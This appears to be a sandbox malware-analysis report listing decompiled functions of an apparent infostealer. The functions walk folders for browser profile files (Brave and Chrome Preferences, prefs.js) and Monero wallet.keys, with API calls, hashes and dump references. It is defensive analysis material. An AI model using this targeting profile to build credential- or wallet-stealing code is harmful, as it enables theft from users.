FindNextFileA.KERNEL32(000000FF,?), ref: 0026C7BF
FindClose.KERNEL32(000000FF), ref: 0026C7D1

Strings

Brave, xrefs: 0026C102
\Brave\Preferences, xrefs: 0026C1DB
Preferences, xrefs: 0026C11E
Google Chrome, xrefs: 0026C634

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 2f9eec7a44fe343372f1ceda5dddc94c492305cda074f782b071b023859759f1
Instruction ID: 4d98d49100e8fccc1ddfe80929056de65d120450ba69c573101a2886a02e8995
Opcode Fuzzy Hash: 2f9eec7a44fe343372f1ceda5dddc94c492305cda074f782b071b023859759f1
Instruction Fuzzy Hash: FD4254729201049BCB14FB70DD96EEE737CAF94310F408568B90E96181EF34AB69CF96

Function 00274570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00274580
RtlAllocateHeap.NTDLL(00000000), ref: 00274587
wsprintfA.USER32 ref: 002745A6
FindFirstFileA.KERNEL32(?,?), ref: 002745BD
StrCmpCA.SHLWAPI(?,00280FC4), ref: 002745EB
StrCmpCA.SHLWAPI(?,00280FC8), ref: 00274601
FindNextFileA.KERNEL32(000000FF,?), ref: 0027468B
FindClose.KERNEL32(000000FF), ref: 002746A0
lstrcat.KERNEL32(?,00E2E928), ref: 002746C5
lstrcat.KERNEL32(?,00E2DAF0), ref: 002746D8
lstrlen.KERNEL32(?), ref: 002746E5
lstrlen.KERNEL32(?), ref: 002746F6

Strings

(, xrefs: 002746B7
%s\*, xrefs: 0027459A
%s\%s, xrefs: 0027461B

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$(
API String ID: 671575355-3827042449
Opcode ID: f5c3dbfc2e39d314294f0ddd028cb51a88c93651c79001d4a141faa44332c80a
Instruction ID: 126de215eeaa4e77da6b2552ab1b0bdb7f117860f5c63ad2c525df7a5698662a
Opcode Fuzzy Hash: f5c3dbfc2e39d314294f0ddd028cb51a88c93651c79001d4a141faa44332c80a
Instruction Fuzzy Hash: 015183B59102189BC760FB70DC89FEE777CAB58300F408598F60D92190EB749BA4CF96

Function 00273EA0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00273EC3
FindFirstFileA.KERNEL32(?,?), ref: 00273EDA
StrCmpCA.SHLWAPI(?,00280FAC), ref: 00273F08
StrCmpCA.SHLWAPI(?,00280FB0), ref: 00273F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0027406C
FindClose.KERNEL32(000000FF), ref: 00274081

Strings

(, xrefs: 00273F4F
%s\%s, xrefs: 00273EB7
(, xrefs: 00273F62

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$($(
API String ID: 180737720-2702466942
Opcode ID: 948649bc42316df080de3ee3acb8d9159482520d14c5ed126280f18a6bae501b
Instruction ID: 2ee3bcdac4cdbb7e23a36c09fef926467ee12409968ad06100bc1ba321fb06fc
Opcode Fuzzy Hash: 948649bc42316df080de3ee3acb8d9159482520d14c5ed126280f18a6bae501b
Instruction Fuzzy Hash: D05186B2910218ABCB24FBB0DC85EEE777CBB44300F40859CB25D96080DB759BA9CF95

Function 0026ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0026ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0026ED55
StrCmpCA.SHLWAPI(?,00281538), ref: 0026EDAB
StrCmpCA.SHLWAPI(?,0028153C), ref: 0026EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0026F2AE
FindClose.KERNEL32(000000FF), ref: 0026F2C3

Strings

%s\*.*, xrefs: 0026ED32

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 5de4a086b27ebe23a9f7012d32d626e49e942822115c4cb29299e107982bda08
Instruction ID: 73d4e438e60780bc6313c5aa4e6d13c685ee58a9c558b47abe26a6ca627fe162
Opcode Fuzzy Hash: 5de4a086b27ebe23a9f7012d32d626e49e942822115c4cb29299e107982bda08
Instruction Fuzzy Hash: A6E1D1719211189ADB54FB60DC52EEE733CAF94310F4085A9B51F62092EF306FAACF56

Function 0026F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002815B8,00280D96), ref: 0026F71E
StrCmpCA.SHLWAPI(?,002815BC), ref: 0026F76F
StrCmpCA.SHLWAPI(?,002815C0), ref: 0026F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0026FAB1
FindClose.KERNEL32(000000FF), ref: 0026FAC3

Strings

prefs.js, xrefs: 0026F812

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: dbf6ff12a3293566f10f7d0b3b9a56b7908e6a6d14194f3f7d9ae848de3397a3
Instruction ID: 9e7f3ac1d66a57722449e282687102efca10d9c74a1e46bc2183eb9d75c293d2
Opcode Fuzzy Hash: dbf6ff12a3293566f10f7d0b3b9a56b7908e6a6d14194f3f7d9ae848de3397a3
Instruction Fuzzy Hash: B1B162719201089BDB64FF74DD96EEE7379AF94310F4085A8A40E97181EF306B69CF92

Function 002616D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0028510C,?,?,?,002851B4,?,?,00000000,?,00000000), ref: 00261923
StrCmpCA.SHLWAPI(?,0028525C), ref: 00261973
StrCmpCA.SHLWAPI(?,00285304), ref: 00261989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00261D40
DeleteFileA.KERNEL32(00000000), ref: 00261DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00261E20
FindClose.KERNEL32(000000FF), ref: 00261E32

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Strings

\*.*, xrefs: 002617F1

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: d6beaf4df9f1c3b083cbbae90dbad6f58e2f839071dd3821986b2413f7c113ae
Instruction ID: 24050df4d4c41f46976c4e514aed91397115df6f61da89ada7b6fb4b8236a72a
Opcode Fuzzy Hash: d6beaf4df9f1c3b083cbbae90dbad6f58e2f839071dd3821986b2413f7c113ae
Instruction Fuzzy Hash: F01206719311189BDB59FB60CC96EEE7378AF94310F408199B51E62091EF306FA9CF92

Function 0026DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00280C2E), ref: 0026DE5E
StrCmpCA.SHLWAPI(?,002814C8), ref: 0026DEAE
StrCmpCA.SHLWAPI(?,002814CC), ref: 0026DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0026E3E0
FindClose.KERNEL32(000000FF), ref: 0026E3F2

Strings

\*.*, xrefs: 0026DE26

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: cab9b6ed129d67fe0f9f6327015871f0d0be5b469e6b575683869192d0b83940
Instruction ID: 4dac160106d51ebe18d65a9d95b39c35ed278b61713b0c2587e8613fdcb28e80
Opcode Fuzzy Hash: cab9b6ed129d67fe0f9f6327015871f0d0be5b469e6b575683869192d0b83940
Instruction Fuzzy Hash: 13F191759301189ADB15FB60CC96EEE7338BF54310F8081E9A51E62091EF306FAACF56

Function 0026DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002814B0,00280C2A), ref: 0026DAEB
StrCmpCA.SHLWAPI(?,002814B4), ref: 0026DB33
StrCmpCA.SHLWAPI(?,002814B8), ref: 0026DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0026DDCC
FindClose.KERNEL32(000000FF), ref: 0026DDDE

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 5850d36621fdb13460501a4a90ab823df82d56ff99bd0e787a66e7d4a943ef3c
Instruction ID: 23a3741ac4289250625a69b3849907724423bbb9d58fb6faa99a35dff13c6e92
Opcode Fuzzy Hash: 5850d36621fdb13460501a4a90ab823df82d56ff99bd0e787a66e7d4a943ef3c
Instruction Fuzzy Hash: B0913372A201089BCB14FF74DC569EE777CABC4310F408668B91A96181EE349B79CF97

Function 00277B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

GetKeyboardLayoutList.USER32(00000000,00000000,002805AF), ref: 00277BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00277BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00277C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00277C62
LocalFree.KERNEL32(00000000), ref: 00277D22

Strings

/ , xrefs: 00277C7F

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 63c7a6a3b0bf36d28ad132afdfd343cc676dcae3cae59e7a0938a5213d7f91ee
Instruction ID: e07dc47ead2fd7d9517c4946cbe08ec8a85f4677cd4175511046207751545580
Opcode Fuzzy Hash: 63c7a6a3b0bf36d28ad132afdfd343cc676dcae3cae59e7a0938a5213d7f91ee
Instruction Fuzzy Hash: 04416E71961118ABDB24DF54DC89FEEB778FF48700F208199E10A62180DB742F95CFA6

Function 00622FF4 Relevance: 10.4, Strings: 7, Instructions: 1655COMMON

Download Yara Rule

Strings

zx, xrefs: 006232F6
Fq], xrefs: 00624073
CR,~, xrefs: 00623C23
;f{z, xrefs: 006233AD, 006233C2, 0062346A
"?, xrefs: 00623641
CT{u, xrefs: 00623166
[[_w, xrefs: 00623607

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;f{z$CR,~$CT{u$Fq]$[[_w$"?$zx
API String ID: 0-3733408663
Opcode ID: fba56673414499b0153fd3536dfd098ef16fdd4e318973f70a8d43de0143bb0e
Instruction ID: 9a7a0462d9f0ffacb4eb2d0cd134e597ab194445999fd7d6e39828d708fa60f6
Opcode Fuzzy Hash: fba56673414499b0153fd3536dfd098ef16fdd4e318973f70a8d43de0143bb0e
Instruction Fuzzy Hash: 26B209F3A0C200AFE3146E2DEC8567AB7E9EFD4720F1A453DE6C4C3744EA3558058696

